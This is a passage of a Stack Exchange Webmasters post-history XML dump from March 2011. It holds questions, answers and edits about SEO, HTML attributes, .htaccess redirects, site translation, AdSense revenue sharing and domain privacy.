  <row Id="22646" PostHistoryTypeId="2" PostId="10154" RevisionGUID="d9f1baf5-0ff0-4052-9684-f9f14b4ba3d6" CreationDate="2011-03-06T19:16:47.460" UserId="5883" Text="This is possibly a routing/network issue with your hosting company, possibly related to their connection providers. I was able to access your site earlier, but now i can't connect.&#xD;&#xA;&#xD;&#xA;If you are with Cablevision and know a friend who has a home connection with them, ask them to visit your site, tracert, etc to compare. Contact your hosting provider and ask them if they are aware of any routing problems." />
  <row Id="22647" PostHistoryTypeId="2" PostId="10155" RevisionGUID="7e573e2c-a9af-4452-a45a-529a7c2ef84a" CreationDate="2011-03-06T20:01:08.873" UserId="2011" Text="I think you're looking for the [Inactive User][1] module.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/inactive_user" />
  <row Id="22648" PostHistoryTypeId="25" PostId="10152" RevisionGUID="a99b70cc-8645-4b94-af68-f7507b658f2e" CreationDate="2011-03-06T20:23:28.460" Comment="http://twitter.com/#!/StackWebmasters/status/44493313780367360" />
  <row Id="22649" PostHistoryTypeId="2" PostId="10156" RevisionGUID="80565c05-b006-4853-af6a-dbdcc1e7c0c5" CreationDate="2011-03-06T21:05:15.713" UserId="3590" Text="    &lt;a title=&quot;&quot;&gt;.../a&gt;&#xD;&#xA;&#xD;&#xA;Hi folks. It seems that my *title tag* which holds extremely valuable and describes contents on my simple design page is currently compeltely denied by search engines and not indexed at all!!&#xD;&#xA;&#xD;&#xA;Those descriptions should however be indexed as the describe valuable portions to an otherwise empty page with clean glossary (thats neat and organised to the eye of the viewer. So putting all that descriptive data into visible space would ruin the designish less is more fundamental... &#xD;&#xA;&#xD;&#xA;So, which alternatives to the `title` tag do I have, in order to put important contents that are relevant for both user as well as search engines?&#xD;&#xA;&#xD;&#xA;    A    &lt;a name=&quot;&quot;&gt;......&lt;/&gt;&#xD;&#xA;    B    &lt;p name=&quot;&quot;&gt;......&lt;/&gt;&#xD;&#xA;    C    &lt;a alt=&quot;&quot;&gt;.......&lt;/&gt;&#xD;&#xA;    D    &lt;p alt=&quot;&quot;&gt;.......&lt;/&gt;&#xD;&#xA;&#xD;&#xA;From the above list, arose my question:&#xD;&#xA;&gt; Which of the above is advisable alternative in order to get the valuable actual content indexed? Should it be in a a tag or p tag?&#xD;&#xA;&#xD;&#xA;Or are there even better tags for this which still keep layout clean? You suggestions are Much appreciated!" />
  <row Id="22650" PostHistoryTypeId="1" PostId="10156" RevisionGUID="80565c05-b006-4853-af6a-dbdcc1e7c0c5" CreationDate="2011-03-06T21:05:15.713" UserId="3590" Text="Better ways to have valuable data indexed, which is ignored currently" />
  <row Id="22651" PostHistoryTypeId="3" PostId="10156" RevisionGUID="80565c05-b006-4853-af6a-dbdcc1e7c0c5" CreationDate="2011-03-06T21:05:15.713" UserId="3590" Text="&lt;seo&gt;&lt;html&gt;&lt;search-engines&gt;&lt;content&gt;&lt;title&gt;" />
  <row Id="22653" PostHistoryTypeId="2" PostId="10157" RevisionGUID="70d1479d-f262-44e5-8726-4bc5e61da12e" CreationDate="2011-03-06T21:16:31.663" UserId="5849" Text="The alt tag of images is a very valuable place to put keywords that you are trying to rank for. So that would be &#xD;&#xA;&#xD;&#xA;    &lt;img alt='' src='' /&gt;&#xD;&#xA;&#xD;&#xA;Of the choices that you have, I'd go with A. But to be honest, none of these are going to super great in terms of SEO. Google puts way more emphasis on text that is actually displayed (with the exception of image). &#xD;&#xA;&#xD;&#xA;Also be sure that you have meta description in your head. This is really important in your case, since the info is not actually on the page. &#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;description&quot; content=&quot;Description here with keywords&quot;&gt;&#xD;&#xA;&#xD;&#xA;Lastly, if the valuable info contains keywords for ranking you. You can also focus on getting offsite backlinks with those keywords as the anchor text. This is a way to let Google know what the site is about. &#xD;&#xA;" />
  <row Id="22654" PostHistoryTypeId="2" PostId="10158" RevisionGUID="0c8a3f28-4c5c-453e-ab1a-06b1a2f58b10" CreationDate="2011-03-06T22:12:49.237" UserId="1253" Text="I disagree that the all *attribute* is a valuable place to put keywords. Sure, it probably has *some* value but it's going to be very little especially compared to many of the ranking factors used today. Not to mention you shouldn't be using the alt attribute for SEO purposes anyway. You should be using it for **accessibility** purposes. That attribute exists so people who use screen readers or don't have images enabled in their browsers for any reason  can understand what meaning that image has and the page still makes sense to them. Don't abuse that because you want to please the search engines. That's a losing strategy every time.&#xD;&#xA;&#xD;&#xA;Just write your content normally and mark it up properly. If the content is good and your markup is semantic you don't need to abuse HTML attributes to rank better. &#xD;&#xA;&#xD;&#xA;If your goal is to get a page indexed or rank better just read any of the [highly voted questions in this site][1]. They contain basic tips that actually matter unlike trying to stuff keywords where they don't belong.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/tagged/seo?sort=votes&amp;pagesize=50" />
  <row Id="22655" PostHistoryTypeId="2" PostId="10159" RevisionGUID="7f2e4956-6240-4032-8976-44cdb24f6a0d" CreationDate="2011-03-06T22:27:25.853" UserId="1253" Text="I disagree with the accepted answer. It is overly broad and not always correct.&#xD;&#xA;&#xD;&#xA;*All things being equal* a link from another website will carry more weight then one from the same website. But in the real world all things are never equal. For example, if a web page on Wikipedia about greyhounds linked to the Wikipedia page about dogs, and a page on my blog also linked to that same page, the link from the other Wikipedia page would carry more weight then my link even though both pages are on the same site. This is because that page on Greyhounds has so much more weight then my page because:&#xD;&#xA;&#xD;&#xA;- it almost certainly contains more external links pointing to it&#xD;&#xA;- more valuable external links pointing to it&#xD;&#xA;- more valuable internal links pointing to it&#xD;&#xA;- ranks higher for the term &quot;dogs&quot; then my page does&#xD;&#xA;&#xD;&#xA;I am sure there's even more to it then that. But as you can see there's a lot of factors in determining how valuable a link is. In fact a big reason why Wikipedia's pages rank so well is their internal linking. They do an outstanding job of cross linking their pages which helps to spread PR as well as &quot;vote&quot; for their own pages and believe me, those votes add up. A lot of web pages would rank better if their website would do a better job of cross linking their pages.&#xD;&#xA;&#xD;&#xA;As for your question, pages from website that are related to your topic do carry more weight then links from pages that are not related to your topic. After all, links are seen as votes and a vote from a website related to your topic is seen as more authoritative then a vote from a page that has nothing to do with the topic. So if your goal is link building then you should be trying to get links from website related to your topic and rank well for the search terms you want to rank well for." />
  <row Id="22656" PostHistoryTypeId="25" PostId="10156" RevisionGUID="a1f28eae-0842-40d6-a1fe-7366fbf2e692" CreationDate="2011-03-06T23:23:28.600" Comment="http://twitter.com/#!/StackWebmasters/status/44538617540001792" />
  <row Id="22657" PostHistoryTypeId="5" PostId="10158" RevisionGUID="332eb363-c1b0-48e3-9472-a55e150d9cb0" CreationDate="2011-03-07T00:22:18.113" UserId="1253" Comment="Spelling correction; added 134 characters in body" Text="I disagree that the alt *attribute* is a valuable place to put keywords. Sure, it probably has *some* value but it's going to be very little especially compared to many of the ranking factors used today. Not to mention you shouldn't be using the alt attribute for SEO purposes anyway. You should be using it for **accessibility** purposes. That attribute exists so people who use screen readers or don't have images enabled in their browsers for any reason  can understand what meaning that image has and the page still makes sense to them. Don't abuse that because you want to please the search engines. That's a losing strategy every time.&#xD;&#xA;&#xD;&#xA;Just write your content normally and mark it up properly. If the content is good and your markup is semantic you don't need to abuse HTML attributes to rank better. &#xD;&#xA;&#xD;&#xA;If your goal is to get a page indexed or rank better just read any of the [highly voted questions in this site][1]. They contain basic tips that actually matter unlike trying to stuff keywords where they don't belong.&#xD;&#xA;&#xD;&#xA;FYI, Google dies not use the meta description in their ranking algorithm. Not even one bit so using that won't affect your rankings.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/tagged/seo?sort=votes&amp;pagesize=50" />
  <row Id="22658" PostHistoryTypeId="2" PostId="10160" RevisionGUID="6c56564b-4bcb-48ba-b563-78c6f84c4e73" CreationDate="2011-03-07T00:28:11.897" UserId="1064" Text="[Kloxo/HyperVM][1] might be worth a look - open source/free and released under AGPL-3.0 license.&#xD;&#xA;&#xD;&#xA;I can't say whether or not development is keeping pace with bugs at this point - you should know, if you use this software, that there were [some issues with security][2] (which turned into some huge headaches for hosting providers) a couple years back.&#xD;&#xA;&#xD;&#xA;**Edit:** Though the same can be said for [Webmin/Virtualmin][3] - whichever platform you choose, you will definitely want to subscribe to the project's development mailing lists and keep an eye out for vulnerabilities (malicious users *love* it when they can compromise a hosting platform, so take precautions).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lxcenter.org/&#xD;&#xA;  [2]: http://www.webtalkforums.com/showthread.php/23742-LX-Labs-security-issues-%28Hyper-Vm-Lxadmin-and-Kloxo-%29-Death-of-company-owner&#xD;&#xA;  [3]: http://www.securiteam.com/unixfocus/5CP0R1P80G.html" />
  <row Id="22659" PostHistoryTypeId="2" PostId="10161" RevisionGUID="49e7a4c8-0304-42c3-af6c-e2abc109b8ad" CreationDate="2011-03-07T01:39:57.480" UserId="5886" Text="I have static HTML files of a Japanese user guide website which I need to translate into English every time they come out with a new version. I've been using html2pot and using pootle to translate, then converting back with po2html.&#xD;&#xA;&#xD;&#xA;I'm thinking there must be a better way though, I just don't know what." />
  <row Id="22660" PostHistoryTypeId="1" PostId="10161" RevisionGUID="49e7a4c8-0304-42c3-af6c-e2abc109b8ad" CreationDate="2011-03-07T01:39:57.480" UserId="5886" Text="What is the best way to maintain translations of a user guide website?" />
  <row Id="22661" PostHistoryTypeId="3" PostId="10161" RevisionGUID="49e7a4c8-0304-42c3-af6c-e2abc109b8ad" CreationDate="2011-03-07T01:39:57.480" UserId="5886" Text="&lt;html&gt;" />
  <row Id="22662" PostHistoryTypeId="6" PostId="10161" RevisionGUID="edebbf26-987e-4a72-a4b2-4ebfb30d5182" CreationDate="2011-03-07T01:56:50.510" UserId="1253" Comment="Added &quot;translation&quot; tag" Text="&lt;html&gt;&lt;translation&gt;" />
  <row Id="22663" PostHistoryTypeId="2" PostId="10162" RevisionGUID="c5165acb-a795-4b86-892e-b47db7d2ab39" CreationDate="2011-03-07T02:13:50.727" UserId="5849" Text="You can use World Lingo to translate the site and then save the source. I just tried this on my homepage and it worked fine.  &#xD;&#xA;http://www.worldlingo.com/en/websites/url_translator.html&#xD;&#xA;&#xD;&#xA;Or you can install a dynamic translator on the page. I found this blog entry that explains how to do that: http://labnol.blogspot.com/2005/11/add-language-translation-to-website.html&#xD;&#xA;&#xD;&#xA;It depends on whether you need to save the result or if this is just to be able to have different users view the site in their language. " />
  <row Id="22664" PostHistoryTypeId="25" PostId="10161" RevisionGUID="a92c7e3e-35b1-4136-a750-9210ea23a6ef" CreationDate="2011-03-07T02:23:28.343" Comment="http://twitter.com/#!/StackWebmasters/status/44583915314360321" />
  <row Id="22665" PostHistoryTypeId="2" PostId="10163" RevisionGUID="7dd823eb-5c5e-4b90-9ade-4330267d2c9b" CreationDate="2011-03-07T02:03:34.593" UserDisplayName="user3462" Text="I have a non WordPress website in which I'd like users to submit their email addresses. Is there a website widget that I can use to plug this in quickly?" />
  <row Id="22666" PostHistoryTypeId="1" PostId="10163" RevisionGUID="7dd823eb-5c5e-4b90-9ade-4330267d2c9b" CreationDate="2011-03-07T02:03:34.593" UserDisplayName="user3462" Text="Widget for accepting email addresses" />
  <row Id="22667" PostHistoryTypeId="3" PostId="10163" RevisionGUID="7dd823eb-5c5e-4b90-9ade-4330267d2c9b" CreationDate="2011-03-07T02:03:34.593" UserDisplayName="user3462" Text="&lt;website&gt;" />
  <row Id="22668" PostHistoryTypeId="17" PostId="10163" RevisionGUID="afe2e0d2-3de0-4725-908b-1e2974179c2b" CreationDate="2011-03-07T02:40:34.050" UserId="-1" Comment="from http://answers.onstartups.com/questions/21232/widget-for-accepting-email-addresses" Text="" />
  <row Id="22669" PostHistoryTypeId="2" PostId="10164" RevisionGUID="aa6bc332-6ce5-4ec2-86b4-3db97d54a184" CreationDate="2011-03-07T02:47:55.863" UserId="5849" Text="Social Media Sites and Web 2.0 sites are good for getting backlinks to your site. Set up a profile and meet people with interests similar to your niche. This can be a really good way to advertise your site - and its free. For the web 2.0 sites, you will need to provide some content to make the site into a real site and not just a shell of a blog. Posturous is a service that can help with this. " />
  <row Id="22670" PostHistoryTypeId="2" PostId="10165" RevisionGUID="44ec05cd-8e2d-4a18-ba38-e24cf5752fbc" CreationDate="2011-03-07T03:06:45.043" UserId="5026" Text="I've been told by my webhost to try the following:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(www\.)?steve\.doig\.com\.au/wordpress/$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.superlogical.net/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;But this only works for the /wordpress folder, and not for any post or category page." />
  <row Id="22671" PostHistoryTypeId="2" PostId="10166" RevisionGUID="d2b67064-5c26-4d8a-8a80-6c7c79cd4562" CreationDate="2011-03-07T03:20:17.353" UserId="5026" Text="I since changed it to:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteRule ^(.*)$ http://www.superlogical.net/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;Which resolved it for me." />
  <row Id="22672" PostHistoryTypeId="2" PostId="10167" RevisionGUID="1cf76524-b034-49ce-ab2b-5458b6440d1d" CreationDate="2011-03-07T03:22:35.743" UserId="5026" Text="I actually needed permissions of 2777." />
  <row Id="22673" PostHistoryTypeId="2" PostId="10168" RevisionGUID="61c7caa5-0331-47a5-94ef-34b052c6b2fd" CreationDate="2011-03-07T02:22:05.427" UserDisplayName="M28" Text="I have one website which is ran by me and my friend, but I want to share the revenue from the ads without having to send him money every month, is there an option to share the revenue between two accounts?" />
  <row Id="22674" PostHistoryTypeId="1" PostId="10168" RevisionGUID="61c7caa5-0331-47a5-94ef-34b052c6b2fd" CreationDate="2011-03-07T02:22:05.427" UserDisplayName="M28" Text="Is it possible to share the revenue between two accounts?" />
  <row Id="22675" PostHistoryTypeId="3" PostId="10168" RevisionGUID="61c7caa5-0331-47a5-94ef-34b052c6b2fd" CreationDate="2011-03-07T02:22:05.427" UserDisplayName="M28" Text="&lt;google-adsense&gt;" />
  <row Id="22676" PostHistoryTypeId="17" PostId="10168" RevisionGUID="2844da95-98de-4bda-87fb-f0dbc2d43c3d" CreationDate="2011-03-07T03:54:24.720" UserId="-1" Comment="from http://superuser.com/questions/254119/is-it-possible-to-share-the-revenue-between-two-accounts" Text="" />
  <row Id="22677" PostHistoryTypeId="2" PostId="10169" RevisionGUID="28efc6e6-9d8d-4558-a8b1-0f1ac0e68a6c" CreationDate="2011-03-07T03:55:37.417" UserId="5847" Text="My website was on page one of google and not it has dissappeared. Is it from a flash banner recently added on the front page or is it just being re-indexed on all serach engines or is it seen as duplicate content as there are separate websites for the cities of Tampa and Brandon but with the same content? " />
  <row Id="22678" PostHistoryTypeId="1" PostId="10169" RevisionGUID="28efc6e6-9d8d-4558-a8b1-0f1ac0e68a6c" CreationDate="2011-03-07T03:55:37.417" UserId="5847" Text="SEO - why did my google search rank drop?" />
  <row Id="22679" PostHistoryTypeId="3" PostId="10169" RevisionGUID="28efc6e6-9d8d-4558-a8b1-0f1ac0e68a6c" CreationDate="2011-03-07T03:55:37.417" UserId="5847" Text="&lt;seo&gt;&lt;google-search&gt;&lt;local-seo&gt;" />
  <row Id="22680" PostHistoryTypeId="2" PostId="10170" RevisionGUID="067166be-5cc8-4a1d-a41a-0263e634e22a" CreationDate="2011-03-07T04:00:04.760" UserId="5849" Text="I have never worked with it myself, but I have heard good things about Post Affiliate Pro. http://www.qualityunit.com/postaffiliatepro/&#xD;&#xA;&#xD;&#xA;It allows you to integrate with shopping cart systems such as zencart.&#xD;&#xA;&#xD;&#xA;The downside is that it is kind of expensive, since you would need the version that integrates with the shopping cart. &#xD;&#xA;&#xD;&#xA;If money is an issue, there is Omnistar: http://www.osiaffiliate.com/shopping-cart-affiliate-software.htm &#xD;&#xA;&#xD;&#xA;It's cheaper, but I've heard that it is a nightmare if you want to make any changes to the it. If you can, I'd go with Post Affiliate Pro integrated with the shopping cart of your choice. " />
  <row Id="22681" PostHistoryTypeId="2" PostId="10171" RevisionGUID="09755a55-ea92-4939-9f72-fc856ae7b39a" CreationDate="2011-03-07T04:11:00.240" UserId="5806" Text="Duplicate information can hurt you... but it is impossible to say more without knowing more :)&#xD;&#xA;&#xD;&#xA;The main point you should consider is if it is your website that is going down in rank or your competitors going up. Check the ones which rank about you to see if they are more relevant or have more recent content." />
  <row Id="22682" PostHistoryTypeId="2" PostId="10172" RevisionGUID="7015f415-6a3a-4877-a458-4696531921db" CreationDate="2011-03-07T04:11:30.550" UserId="1253" Text="We have so little information to go on that it's hard to say for sure but if you have three websites all with the same content then the odds are this site has been hit with a duplicate content penalty. " />
  <row Id="22683" PostHistoryTypeId="5" PostId="10138" RevisionGUID="093ec196-c3da-4c1e-8b5f-f6ce33d6cbe8" CreationDate="2011-03-07T04:12:08.303" UserId="3192" Comment="formatting;retagged" Text="I want to own, create and run few domains. I do not want 'whois' to have my name, home address and home phone available to anyone who looks me up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've already bought a mailbox that I can use for my physical address. But... that doesn't get my name and number question answered. What is the best way to be anonymous yet still be legal? Do I need to incorporate all my sites and get an LLC? Can I create a company name without becoming an LLC?&#xD;&#xA;&#xD;&#xA;Then there's the phone number....&#xD;&#xA;Thanks in advance to all who respond! " />
  <row Id="22684" PostHistoryTypeId="6" PostId="10138" RevisionGUID="093ec196-c3da-4c1e-8b5f-f6ce33d6cbe8" CreationDate="2011-03-07T04:12:08.303" UserId="3192" Comment="formatting;retagged" Text="&lt;domain-names&gt;&lt;domain-registration&gt;&lt;whois&gt;&lt;privacy&gt;" />
  <row Id="22685" PostHistoryTypeId="24" PostId="10138" RevisionGUID="093ec196-c3da-4c1e-8b5f-f6ce33d6cbe8" CreationDate="2011-03-07T04:12:08.303" Comment="Proposed by 3192 approved by 1253 edit id of 45" />
  <row Id="22686" PostHistoryTypeId="6" PostId="10169" RevisionGUID="3b53f7eb-bc93-4c8e-a1a7-6a35e3311ce1" CreationDate="2011-03-07T04:14:00.830" UserId="1253" Comment="removed &quot;local-seo&quot; tag" Text="&lt;seo&gt;&lt;google-search&gt;" />
  <row Id="22687" PostHistoryTypeId="25" PostId="10169" RevisionGUID="a91870c6-e577-4c5a-86cc-d77557322dbb" CreationDate="2011-03-07T05:23:28.307" Comment="http://twitter.com/#!/StackWebmasters/status/44629213256499200" />
  <row Id="22688" PostHistoryTypeId="2" PostId="10173" RevisionGUID="66f4982a-c52f-474c-b807-e3aa481e1490" CreationDate="2011-03-07T06:01:16.387" UserId="5013" Text="You could have a script that shows ads on a rotation. For example, it would show your ads 50% of the time and his ads the other 50% of the time. Your earnings would not be identical, though... because one of you may get more clicks, your clicks may be worth different amount depending on just, really timing and the keyword the visitor came in on.&#xD;&#xA;&#xD;&#xA;That said, it's the most common way people solve your problem. If you would like more information, just look up stuff regarded ads on rotation. This is the model HubPages uses to allow its users to make money: ~40% of the time the ads shown are from HubPages' AdSense account and the other 60% of the time the ads are shown, it's ads from the writer's account." />
  <row Id="22689" PostHistoryTypeId="2" PostId="10174" RevisionGUID="ef7c6616-64e6-40f5-9495-09a4173c808a" CreationDate="2011-03-07T06:07:06.287" UserId="5013" Text="Currently I have articles up on a website (site A) that is not mine (but I can remove the articles.) The article's aren't faring well (not only due to the recent Google changes) but because they really could do better if I made some tweaks myself instead of relying on the domain owner's SEO skills. So I would like to set up my own website and have just my articles on it (site B.)&#xD;&#xA;&#xD;&#xA;In the past when I've moved content, I've set up redirects but this time I can't do that. &#xD;&#xA;&#xD;&#xA;What would be the best way to move the articles without having to worry about them being counted as duplicate content or any other lame stuff?&#xD;&#xA;&#xD;&#xA;Should I,&#xD;&#xA;A: Save the articles on my computer and remove them from Site A. Wait for Google to remove them from the index (several months.)&#xD;&#xA;&#xD;&#xA;B: Remove the articles from Site A and immediately place them on Site B." />
  <row Id="22690" PostHistoryTypeId="1" PostId="10174" RevisionGUID="ef7c6616-64e6-40f5-9495-09a4173c808a" CreationDate="2011-03-07T06:07:06.287" UserId="5013" Text="SEO: Moving articles from one domain to another" />
  <row Id="22691" PostHistoryTypeId="3" PostId="10174" RevisionGUID="ef7c6616-64e6-40f5-9495-09a4173c808a" CreationDate="2011-03-07T06:07:06.287" UserId="5013" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;content&gt;&lt;duplicate-content&gt;" />
  <row Id="22692" PostHistoryTypeId="2" PostId="10175" RevisionGUID="1068a730-bea2-4c08-b8c2-e9e4fc733d20" CreationDate="2011-03-07T06:13:49.190" UserId="5013" Text="Several days ago, Google has made some changes to its algorithm which has been affecting a huge number of sites. Some sites have dropped unbelievably low in the SERPs, while some (like eHow) have seen a huge boost. See the attached Wall Street Journal article on the change. You may want to look into your duplicate content issue (try to make it more unique) but other than that, I recommend waiting it out a bit while Google balances its search engines. In the meantime, you can continue working on your project or work on a new one. Best of luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[Google Revamps to Fight Cheaters][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]:  http://online.wsj.com/article/SB10001424052748704150604576166390281747136.html" />
  <row Id="22693" PostHistoryTypeId="2" PostId="10176" RevisionGUID="304f542f-6ad5-4e10-a3e1-d9ed4dc83239" CreationDate="2011-03-07T07:14:28.263" UserId="5890" Text="Backlink is link that you received from other websites. And back links are important to for PR. This tools searches for websites of the theme you specify that contain keyphrases like &quot;Add link&quot;, &quot;Add site&quot;, &quot;Add URL&quot;, &quot;Add URL&quot;, &quot;Submit URL&quot;, &quot;Add Article&quot; etc. Most of the results could be quality potential backlinks.&#xD;&#xA;Thank you,&#xD;&#xA; [sure shot tips][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sureshot-share-tips.blogspot.com/2011/01/sureshot-tips.html" />
  <row Id="22694" PostHistoryTypeId="17" PostId="10178" RevisionGUID="6380ae1e-2783-41d0-8438-984d270795ca" CreationDate="2011-03-07T07:37:12.883" UserId="-1" Comment="from http://stackoverflow.com/questions/5216900/how-to-do-bing-seo/5217049#5217049" Text="" />
  <row Id="22695" PostHistoryTypeId="2" PostId="10178" RevisionGUID="5a36c9f5-4137-4f07-a7e7-21caead9ac52" CreationDate="2011-03-07T07:36:58.030" UserDisplayName="Sangram" Text="HI Susan,&#xD;&#xA;&#xD;&#xA;You can submit ur sites to bing serch engine&#xD;&#xA;at&#xD;&#xA;&#xD;&#xA;[http://www.bing.com/webmaster/SubmitSitePage.aspx][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bing.com/webmaster/SubmitSitePage.aspx&#xD;&#xA;&#xD;&#xA;This helps bing in crawling all of your pages and your site's traffic will increase !!" />
  <row Id="22696" PostHistoryTypeId="2" PostId="10177" RevisionGUID="e3b8ff03-aa42-4444-9523-6e0b4810598d" CreationDate="2011-03-07T07:19:11.533" UserDisplayName="susan" Text="i have three games sites,which are all have the much better alexa around 12.000&#xD;&#xA;i wanna know that if i wanna to get more traffice from bing,how to do the seo tips?is it the same with the seo in google?!thank you so much" />
  <row Id="22697" PostHistoryTypeId="1" PostId="10177" RevisionGUID="e3b8ff03-aa42-4444-9523-6e0b4810598d" CreationDate="2011-03-07T07:19:11.533" UserDisplayName="susan" Text="how to do bing seo" />
  <row Id="22698" PostHistoryTypeId="3" PostId="10177" RevisionGUID="e3b8ff03-aa42-4444-9523-6e0b4810598d" CreationDate="2011-03-07T07:19:11.533" UserDisplayName="susan" Text="&lt;seo&gt;&lt;bing&gt;" />
  <row Id="22699" PostHistoryTypeId="17" PostId="10177" RevisionGUID="9b6fb16e-4f58-4682-9a8b-8bb41ac3bab1" CreationDate="2011-03-07T07:37:12.883" UserId="-1" Comment="from http://stackoverflow.com/questions/5216900/how-to-do-bing-seo" Text="" />
  <row Id="22700" PostHistoryTypeId="25" PostId="10177" RevisionGUID="a4e6eb42-62ed-498f-a603-876ff5a70dd4" CreationDate="2011-03-07T08:23:28.460" Comment="http://twitter.com/#!/StackWebmasters/status/44674512486277121" />
  <row Id="22701" PostHistoryTypeId="2" PostId="10179" RevisionGUID="3450c6cb-3b1a-4eef-a9b1-d0c1f362b5ee" CreationDate="2011-03-07T08:30:15.660" UserId="5892" Text="Is there a way on how to find number of index pages for last 2-3 months. If yes, then how??&#xD;&#xA;Please help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="22702" PostHistoryTypeId="1" PostId="10179" RevisionGUID="3450c6cb-3b1a-4eef-a9b1-d0c1f362b5ee" CreationDate="2011-03-07T08:30:15.660" UserId="5892" Text="Index pages for previous months?" />
  <row Id="22703" PostHistoryTypeId="3" PostId="10179" RevisionGUID="3450c6cb-3b1a-4eef-a9b1-d0c1f362b5ee" CreationDate="2011-03-07T08:30:15.660" UserId="5892" Text="&lt;google-index&gt;" />
  <row Id="22704" PostHistoryTypeId="2" PostId="10180" RevisionGUID="1512cc78-bde2-44e7-a73f-ad00d33efd11" CreationDate="2011-03-07T09:37:53.093" UserId="5893" Text="I have a domain: let's call it www.mydomain.com where I have a portal with an active community of users.&#xD;&#xA;&#xD;&#xA;In this portal users coohoperate in a wiki way to build some &quot;kind of software&quot;.&#xD;&#xA;These software can then be run by accessing &quot;public.mydomain.com/softwarename&quot;&#xD;&#xA;&#xD;&#xA;I want to let my users to run these software from their own subdomains. I know I can do that by automatically modify .htaccess file. This is not a problem.&#xD;&#xA;&#xD;&#xA;I want to let these users to create dns aliases to let them access one specific subdomain. So if a user &quot;pippo&quot; that owns &quot;www.pippo.com&quot; wants to run software HelloWorld from his own subdomains he has to:&#xD;&#xA;1. register to my site&#xD;&#xA;2. saying to my site that he will run software from his own subdomain run.pippo.com&#xD;&#xA;3. from his DNS control panel, he creates a CNAME record &quot;run.pippo.com&quot; pointing to &quot;public.mydomain.com&quot;&#xD;&#xA;4. he types in a browser http://run.pippo.com/HelloWorld&#xD;&#xA;&#xD;&#xA;When the software(that is phisically run on my server) is called, first it checks that the originating domain is a trusted one.I don't do any other kind of check that restricts software execution.&#xD;&#xA;&#xD;&#xA;From a SEO perspective, I care about google indexing of www.mydomain.com but I don't care about indexing of public.mydomain.com&#xD;&#xA;&#xD;&#xA;I want to know EVERY kind of possible security implication you can say, of letting other subdomains pointing to one of my subdomains, in an automatic way like this.&#xD;&#xA;&#xD;&#xA;I would know too if you know some other site implementing a domain architecture like this.&#xD;&#xA;&#xD;&#xA;Thanks in advance,&#xD;&#xA;Giovanni" />
  <row Id="22705" PostHistoryTypeId="1" PostId="10180" RevisionGUID="1512cc78-bde2-44e7-a73f-ad00d33efd11" CreationDate="2011-03-07T09:37:53.093" UserId="5893" Text="Implications on automatically &quot;open&quot; third party domain aliasing to one of my subdomains" />
  <row Id="22706" PostHistoryTypeId="3" PostId="10180" RevisionGUID="1512cc78-bde2-44e7-a73f-ad00d33efd11" CreationDate="2011-03-07T09:37:53.093" UserId="5893" Text="&lt;seo&gt;&lt;domains&gt;&lt;security&gt;&lt;htaccess&gt;&lt;subdomain&gt;" />
  <row Id="22707" PostHistoryTypeId="2" PostId="10181" RevisionGUID="90ac808f-6859-4cd0-8363-3563c18bcbc6" CreationDate="2011-03-07T09:46:40.557" UserId="3659" Text="The beste way to find out all information about how Google sees your website, how its crawled, indexed etcetera is by using Google Webmaster tools: www.google.com/webmasters/tools/" />
  <row Id="22708" PostHistoryTypeId="5" PostId="10178" RevisionGUID="70366cba-71ab-4fe0-9803-ecc0c0ec7e47" CreationDate="2011-03-07T09:52:43.657" UserId="5891" Comment="fix grammar" Text="You can submit your sites to the Bing search engine&#xD;&#xA;at [http://www.bing.com/webmaster/SubmitSitePage.aspx][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bing.com/webmaster/SubmitSitePage.aspx&#xD;&#xA;&#xD;&#xA;This helps Bing in crawling all of your pages and your site's traffic will increase!" />
  <row Id="22709" PostHistoryTypeId="24" PostId="10178" RevisionGUID="70366cba-71ab-4fe0-9803-ecc0c0ec7e47" CreationDate="2011-03-07T09:52:43.657" Comment="Proposed by 5891 approved by 3 edit id of 46" />
  <row Id="22710" PostHistoryTypeId="5" PostId="10164" RevisionGUID="479f2a7a-23b8-4434-87a9-848dc3c1508a" CreationDate="2011-03-07T09:56:50.097" UserId="3" Comment="added 36 characters in body" Text="Social Media Sites and Web 2.0 sites are good for getting backlinks to your site. Set up a profile and meet people with interests similar to your niche. This can be a really good way to advertise your site - and its free. For the web 2.0 sites, you will need to provide some content to make the site into a real site and not just a shell of a blog. [Posterous][1] is a service that can help with this. &#xD;&#xA;&#xD;&#xA;[1]: https://posterous.com/" />
  <row Id="22711" PostHistoryTypeId="2" PostId="10182" RevisionGUID="04e2bcc1-3d77-45c3-91ab-82b254ed12da" CreationDate="2011-03-07T10:03:01.837" UserId="3" Text="&gt;  I was looking through some of the keywords used to get to my site and I was noticing that some of the searches would only show my main page, and not the page for the article&#xD;&#xA;&#xD;&#xA;Wouldn't this be because those keywords (plural!) are matching multiple words that only exist not in the article, but in the main page?&#xD;&#xA;&#xD;&#xA;&gt; Is there some way that I can tell search engines to rank the content page higher than my index page?&#xD;&#xA;&#xD;&#xA;Not really; from the search engine's perspective, the home page is a better *match* to the user's keywords. Presumably unless the keywords are utterly generic, the user may find something of interest for at least some of the keywords on your main page.&#xD;&#xA;&#xD;&#xA;The alternative is not to match at all, or to better tailor your articles to include a broader selection of *relevant* words that people might be searching on.&#xD;&#xA;&#xD;&#xA;(Do not, of course, go adding random words to your articles as that would be kind of evil -- I am not recommending that, just exploring the world of 